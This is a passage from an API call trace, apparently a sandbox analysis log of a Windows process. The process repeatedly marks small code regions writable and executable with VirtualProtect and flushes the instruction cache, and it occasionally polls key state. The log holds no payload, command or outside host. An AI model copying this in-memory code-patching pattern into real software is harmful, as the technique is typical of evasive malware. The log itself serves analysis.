lpflOldProtect=0x1973cc*=0x40) returned 1 [0105.935] GetCurrentProcess () returned 0xffffffff [0105.935] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d27b9, dwSize=0x2) returned 1 [0105.935] GetCurrentProcess () returned 0xffffffff [0105.935] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d27d8, dwSize=0x14) returned 1 [0105.935] VirtualProtect (in: lpAddress=0xf5d27d8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0105.936] GetCurrentProcess () returned 0xffffffff [0105.936] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d27d9, dwSize=0x2) returned 1 [0105.936] GetCurrentProcess () returned 0xffffffff [0105.936] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d27f8, dwSize=0x14) returned 1 [0105.936] VirtualProtect (in: lpAddress=0xf5d27f8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0105.937] GetCurrentProcess () returned 0xffffffff [0105.937] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d27f9, dwSize=0x2) returned 1 [0105.937] GetCurrentProcess () returned 0xffffffff [0105.937] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2818, dwSize=0x14) returned 1 [0105.937] VirtualProtect (in: lpAddress=0xf5d2818, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0105.937] GetCurrentProcess () returned 0xffffffff [0105.937] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2819, dwSize=0x2) returned 1 [0105.937] GetCurrentProcess () returned 0xffffffff [0105.939] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2838, dwSize=0x14) returned 1 [0105.939] VirtualProtect (in: lpAddress=0xf5d2838, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0105.940] GetCurrentProcess () returned 0xffffffff [0105.940] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2839, dwSize=0x2) returned 1 [0105.940] GetCurrentProcess () returned 0xffffffff [0105.940] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2858, dwSize=0x14) returned 1 [0105.940] VirtualProtect (in: lpAddress=0xf5d2858, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0105.946] GetCurrentProcess () returned 0xffffffff [0105.946] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2859, dwSize=0x2) returned 1 [0105.946] GetCurrentProcess () returned 0xffffffff [0105.946] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2878, dwSize=0x14) returned 1 [0105.946] VirtualProtect (in: lpAddress=0xf5d2878, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0105.948] GetCurrentProcess () returned 0xffffffff [0105.948] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2879, dwSize=0x2) returned 1 [0105.948] GetCurrentProcess () returned 0xffffffff [0105.948] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2898, dwSize=0x14) returned 1 [0105.948] VirtualProtect (in: lpAddress=0xf5d2898, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0105.949] GetCurrentProcess () returned 0xffffffff [0105.949] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2899, dwSize=0x2) returned 1 [0105.949] GetCurrentProcess () returned 0xffffffff [0105.949] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d28b8, dwSize=0x14) returned 1 [0105.949] VirtualProtect (in: lpAddress=0xf5d28b8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0105.950] GetCurrentProcess () returned 0xffffffff [0105.950] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d28b9, dwSize=0x2) returned 1 [0105.951] GetCurrentProcess () returned 0xffffffff [0105.951] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d28d8, dwSize=0x14) returned 1 [0105.951] VirtualProtect (in: lpAddress=0xf5d28d8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0105.952] GetCurrentProcess () returned 0xffffffff [0105.952] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d28d9, dwSize=0x2) returned 1 [0105.952] GetCurrentProcess () returned 0xffffffff [0105.952] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d28f8, dwSize=0x14) returned 1 [0105.952] VirtualProtect (in: lpAddress=0xf5d28f8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0105.954] GetCurrentProcess () returned 0xffffffff [0105.954] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d28f9, dwSize=0x2) returned 1 [0105.954] GetCurrentProcess () returned 0xffffffff [0105.954] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d1188, dwSize=0x14) returned 1 [0105.954] VirtualProtect (in: lpAddress=0xf5d1188, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0105.957] GetCurrentProcess () returned 0xffffffff [0105.957] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d1189, dwSize=0x2) returned 1 [0105.957] GetCurrentProcess () returned 0xffffffff [0105.957] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d11a8, dwSize=0x14) returned 1 [0105.957] VirtualProtect (in: lpAddress=0xf5d11a8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0105.958] GetCurrentProcess () returned 0xffffffff [0105.958] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d11a9, dwSize=0x2) returned 1 [0105.958] GetCurrentProcess () returned 0xffffffff [0105.958] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d11c8, dwSize=0x14) returned 1 [0105.958] VirtualProtect (in: lpAddress=0xf5d11c8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0105.961] GetCurrentProcess () returned 0xffffffff [0105.961] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d11c9, dwSize=0x2) returned 1 [0105.962] GetAsyncKeyState (vKey=3) returned 0 [0105.963] VarCmp (pvarLeft=0x197dcc, pvarRight=0x197dbc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0105.963] CRetailMalloc_Alloc () returned 0xcb2a7b8 [0105.963] memcpy (in: _Dst=0xcf94f48, _Src=0x1976bc, _Size=0x4 | out: _Dst=0xcf94f48) returned 0xcf94f48 [0105.963] memcpy (in: _Dst=0xcb2a7d8, _Src=0x197724, _Size=0x18 | out: _Dst=0xcb2a7d8) returned 0xcb2a7d8 [0105.963] CRetailMalloc_Realloc () returned 0xcb2a7b8 [0105.963] CRetailMalloc_Free () returned 0x1 [0105.963] GetCurrentProcess () returned 0xffffffff [0105.963] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf38ec, dwSize=0x14) returned 1 [0105.963] VirtualProtect (in: lpAddress=0xcaf38ec, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0105.964] GetCurrentProcess () returned 0xffffffff [0105.964] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf38ed, dwSize=0x2) returned 1 [0105.964] GetCurrentProcess () returned 0xffffffff [0105.964] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf390c, dwSize=0x14) returned 1 [0105.964] VirtualProtect (in: lpAddress=0xcaf390c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0105.964] GetCurrentProcess () returned 0xffffffff [0105.964] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf390d, dwSize=0x2) returned 1 [0105.964] GetCurrentProcess () returned 0xffffffff [0105.965] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf392c, dwSize=0x14) returned 1 [0105.965] VirtualProtect (in: lpAddress=0xcaf392c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0105.965] GetCurrentProcess () returned 0xffffffff [0105.965] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf392d, dwSize=0x2) returned 1 [0105.965] GetCurrentProcess () returned 0xffffffff [0105.965] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf394c, dwSize=0x14) returned 1 [0105.965] VirtualProtect (in: lpAddress=0xcaf394c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0105.966] GetCurrentProcess () returned 0xffffffff [0105.966] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf394d, dwSize=0x2) returned 1 [0105.966] GetCurrentProcess () returned 0xffffffff [0105.966] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf396c, dwSize=0x14) returned 1 [0105.966] VirtualProtect (in: lpAddress=0xcaf396c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0105.966] GetCurrentProcess () returned 0xffffffff [0105.966] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf396d, dwSize=0x2) returned 1 [0105.966] GetCurrentProcess () returned 0xffffffff [0105.966] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf398c, dwSize=0x14) returned 1 [0105.966] VirtualProtect (in: lpAddress=0xcaf398c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0105.967] GetCurrentProcess () returned 0xffffffff [0105.967] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf398d, dwSize=0x2) returned 1 [0105.967] GetCurrentProcess () returned 0xffffffff [0105.967] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf39ac, dwSize=0x14) returned 1 [0105.967] VirtualProtect (in: lpAddress=0xcaf39ac, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0105.968] GetCurrentProcess () returned 0xffffffff [0105.968] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf39ad, dwSize=0x2) returned 1 [0105.968] GetCurrentProcess () returned 0xffffffff [0105.968] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf39cc, dwSize=0x14) returned 1 [0105.968] VirtualProtect (in: lpAddress=0xcaf39cc, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0105.969] GetCurrentProcess () returned 0xffffffff [0105.969] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf39cd, dwSize=0x2) returned 1 [0105.969] GetCurrentProcess () returned 0xffffffff [0105.969] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf39ec, dwSize=0x14) returned 1 [0105.969] VirtualProtect (in: lpAddress=0xcaf39ec, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0106.053] GetCurrentProcess () returned 0xffffffff [0106.053] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf39ed, dwSize=0x2) returned 1 [0106.053] GetCurrentProcess () returned 0xffffffff [0106.053] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf3a0c, dwSize=0x14) returned 1 [0106.053] VirtualProtect (in: lpAddress=0xcaf3a0c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0106.054] GetCurrentProcess () returned 0xffffffff [0106.054] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf3a0d, dwSize=0x2) returned 1 [0106.054] GetCurrentProcess () returned 0xffffffff [0106.054] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf3a2c, dwSize=0x14) returned 1 [0106.054] VirtualProtect (in: lpAddress=0xcaf3a2c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0106.054] GetCurrentProcess () returned 0xffffffff [0106.054] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf3a2d, dwSize=0x2) returned 1 [0106.054] GetCurrentProcess () returned 0xffffffff [0106.054] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf3a4c, dwSize=0x14) returned 1 [0106.054] VirtualProtect (in: lpAddress=0xcaf3a4c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0106.055] GetCurrentProcess () returned 0xffffffff [0106.055] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf3a4d, dwSize=0x2) returned 1 [0106.055] GetCurrentProcess () returned 0xffffffff [0106.055] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2718, dwSize=0x14) returned 1 [0106.055] VirtualProtect (in: lpAddress=0xf5d2718, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0106.055] GetCurrentProcess () returned 0xffffffff [0106.055] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2719, dwSize=0x2) returned 1 [0106.055] GetCurrentProcess () returned 0xffffffff [0106.055] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2738, dwSize=0x14) returned 1 [0106.055] VirtualProtect (in: lpAddress=0xf5d2738, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0106.056] GetCurrentProcess () returned 0xffffffff [0106.056] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2739, dwSize=0x2) returned 1 [0106.056] GetCurrentProcess () returned 0xffffffff [0106.056] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2758, dwSize=0x14) returned 1 [0106.056] VirtualProtect (in: lpAddress=0xf5d2758, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0106.056] GetCurrentProcess () returned 0xffffffff [0106.056] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2759, dwSize=0x2) returned 1 [0106.056] GetCurrentProcess () returned 0xffffffff [0106.056] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2778, dwSize=0x14) returned 1 [0106.056] VirtualProtect (in: lpAddress=0xf5d2778, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0106.057] GetCurrentProcess () returned 0xffffffff [0106.057] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2779, dwSize=0x2) returned 1 [0106.057] GetCurrentProcess () returned 0xffffffff [0106.057] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2798, dwSize=0x14) returned 1 [0106.057] VirtualProtect (in: lpAddress=0xf5d2798, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0106.057] GetCurrentProcess () returned 0xffffffff [0106.057] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2799, dwSize=0x2) returned 1 [0106.057] GetCurrentProcess () returned 0xffffffff [0106.057] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d27b8, dwSize=0x14) returned 1 [0106.057] VirtualProtect (in: lpAddress=0xf5d27b8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0106.058] GetCurrentProcess () returned 0xffffffff [0106.058] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d27b9, dwSize=0x2) returned 1 [0106.058] GetCurrentProcess () returned 0xffffffff [0106.058] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d27d8, dwSize=0x14) returned 1 [0106.058] VirtualProtect (in: lpAddress=0xf5d27d8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0106.058] GetCurrentProcess () returned 0xffffffff [0106.058] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d27d9, dwSize=0x2) returned 1 [0106.058] GetCurrentProcess () returned 0xffffffff [0106.058] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d27f8, dwSize=0x14) returned 1 [0106.058] VirtualProtect (in: lpAddress=0xf5d27f8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0106.059] GetCurrentProcess () returned 0xffffffff [0106.059] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d27f9, dwSize=0x2) returned 1 [0106.059] GetCurrentProcess () returned 0xffffffff [0106.059] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2818, dwSize=0x14) returned 1 [0106.059] VirtualProtect (in: lpAddress=0xf5d2818, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0106.059] GetCurrentProcess () returned 0xffffffff [0106.059] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2819, dwSize=0x2) returned 1 [0106.059] GetCurrentProcess () returned 0xffffffff [0106.060] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2838, dwSize=0x14) returned 1 [0106.060] VirtualProtect (in: lpAddress=0xf5d2838, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0106.060] GetCurrentProcess () returned 0xffffffff [0106.060] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2839, dwSize=0x2) returned 1 [0106.060] GetCurrentProcess () returned 0xffffffff [0106.060] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2858, dwSize=0x14) returned 1 [0106.060] VirtualProtect (in: lpAddress=0xf5d2858, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0106.061] GetCurrentProcess () returned 0xffffffff [0106.061] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2859, dwSize=0x2) returned 1 [0106.061] GetCurrentProcess () returned 0xffffffff [0106.061] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2878, dwSize=0x14) returned 1 [0106.061] VirtualProtect (in: lpAddress=0xf5d2878, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0106.061] GetCurrentProcess () returned 0xffffffff [0106.061] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2879, dwSize=0x2) returned 1 [0106.061] GetCurrentProcess () returned 0xffffffff [0106.061] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2898, dwSize=0x14) returned 1 [0106.061] VirtualProtect (in: lpAddress=0xf5d2898, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0106.062] GetCurrentProcess () returned 0xffffffff [0106.062] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2899, dwSize=0x2) returned 1 [0106.062] GetCurrentProcess () returned 0xffffffff [0106.062] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d28b8, dwSize=0x14) returned 1 [0106.062] VirtualProtect (in: lpAddress=0xf5d28b8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0106.062] GetCurrentProcess () returned 0xffffffff [0106.062] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d28b9, dwSize=0x2) returned 1 [0106.062] GetCurrentProcess () returned 0xffffffff [0106.062] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d28d8, dwSize=0x14) returned 1 [0106.062] VirtualProtect (in: lpAddress=0xf5d28d8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0106.063] GetCurrentProcess () returned 0xffffffff [0106.063] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d28d9, dwSize=0x2) returned 1 [0106.063] GetCurrentProcess () returned 0xffffffff [0106.063] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d28f8, dwSize=0x14) returned 1 [0106.063] VirtualProtect (in: lpAddress=0xf5d28f8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0106.063] GetCurrentProcess () returned 0xffffffff [0106.063] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d28f9, dwSize=0x2) returned 1 [0106.063] GetCurrentProcess () returned 0xffffffff [0106.063] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d1188, dwSize=0x14) returned 1 [0106.063] VirtualProtect (in: lpAddress=0xf5d1188, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0106.064] GetCurrentProcess () returned 0xffffffff [0106.064] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d1189, dwSize=0x2) returned 1 [0106.064] GetCurrentProcess () returned 0xffffffff [0106.064] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d11a8, dwSize=0x14) returned 1 [0106.064] VirtualProtect (in: lpAddress=0xf5d11a8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0106.064] GetCurrentProcess () returned 0xffffffff [0106.064] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d11a9, dwSize=0x2) returned 1 [0106.064] GetCurrentProcess () returned 0xffffffff [0106.064] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d11c8, dwSize=0x14) returned 1 [0106.064] VirtualProtect (in: lpAddress=0xf5d11c8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0106.230] GetCurrentProcess () returned 0xffffffff [0106.230] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d11c9, dwSize=0x2) returned 1 [0106.231] GetAsyncKeyState (vKey=3) returned 0 [0106.231] GetAsyncKeyState (vKey=3) returned 0 [0106.231] VarCmp (pvarLeft=0x197dcc, pvarRight=0x197dbc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.232] CRetailMalloc_Alloc () returned 0xcb2a818 [0106.232] memcpy (in: _Dst=0xcf94f48, _Src=0x1976bc, _Size=0x4 | out: _Dst=0xcf94f48) returned 0xcf94f48 [0106.232] memcpy (in: _Dst=0xcb2a838, _Src=0x197724, _Size=0x18 | out: _Dst=0xcb2a838) returned 0xcb2a838 [0106.232] CRetailMalloc_Realloc () returned 0xcb2a818 [0106.232] CRetailMalloc_Free () returned 0x1 [0106.232] GetCurrentProcess () returned 0xffffffff [0106.232] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf38ec, dwSize=0x14) returned 1 [0106.232] VirtualProtect (in: lpAddress=0xcaf38ec, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0106.233] GetCurrentProcess () returned 0xffffffff [0106.233] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf38ed, dwSize=0x2) returned 1 [0106.233] GetCurrentProcess () returned 0xffffffff [0106.233] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf390c, dwSize=0x14) returned 1 [0106.233] VirtualProtect (in: lpAddress=0xcaf390c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0106.233] GetCurrentProcess () returned 0xffffffff [0106.233] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf390d, dwSize=0x2) returned 1 [0106.233] GetCurrentProcess () returned 0xffffffff [0106.233] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf392c, dwSize=0x14) returned 1 [0106.233] VirtualProtect (in: lpAddress=0xcaf392c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0106.234] GetCurrentProcess () returned 0xffffffff [0106.234] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf392d, dwSize=0x2) returned 1 [0106.234] GetCurrentProcess () returned 0xffffffff [0106.234] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf394c, dwSize=0x14) returned 1 [0106.234] VirtualProtect (in: lpAddress=0xcaf394c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0106.234] GetCurrentProcess () returned 0xffffffff [0106.234] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf394d, dwSize=0x2) returned 1 [0106.234] GetCurrentProcess () returned 0xffffffff [0106.234] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf396c, dwSize=0x14) returned 1 [0106.234] VirtualProtect (in: lpAddress=0xcaf396c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0106.235] GetCurrentProcess () returned 0xffffffff [0106.235] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf396d, dwSize=0x2) returned 1 [0106.235] GetCurrentProcess () returned 0xffffffff [0106.235] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf398c, dwSize=0x14) returned 1 [0106.235] VirtualProtect (in: lpAddress=0xcaf398c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0106.235] GetCurrentProcess () returned 0xffffffff [0106.235] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf398d, dwSize=0x2) returned 1 [0106.235] GetCurrentProcess () returned 0xffffffff [0106.235] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf39ac, dwSize=0x14) returned 1 [0106.235] VirtualProtect (in: lpAddress=0xcaf39ac, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0106.236] GetCurrentProcess () returned 0xffffffff [0106.236] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf39ad, dwSize=0x2) returned 1 [0106.236] GetCurrentProcess () returned 0xffffffff [0106.236] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf39cc, dwSize=0x14) returned 1 [0106.236] VirtualProtect (in: lpAddress=0xcaf39cc, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0106.236] GetCurrentProcess () returned 0xffffffff [0106.236] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf39cd, dwSize=0x2) returned 1 [0106.236] GetCurrentProcess () returned 0xffffffff [0106.236] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf39ec, dwSize=0x14) returned 1 [0106.236] VirtualProtect (in: lpAddress=0xcaf39ec, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0106.237] GetCurrentProcess () returned 0xffffffff [0106.237] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf39ed, dwSize=0x2) returned 1 [0106.237] GetCurrentProcess () returned 0xffffffff [0106.237] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf3a0c, dwSize=0x14) returned 1 [0106.237] VirtualProtect (in: lpAddress=0xcaf3a0c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0106.237] GetCurrentProcess () returned 0xffffffff [0106.237] FlushInstructionCache 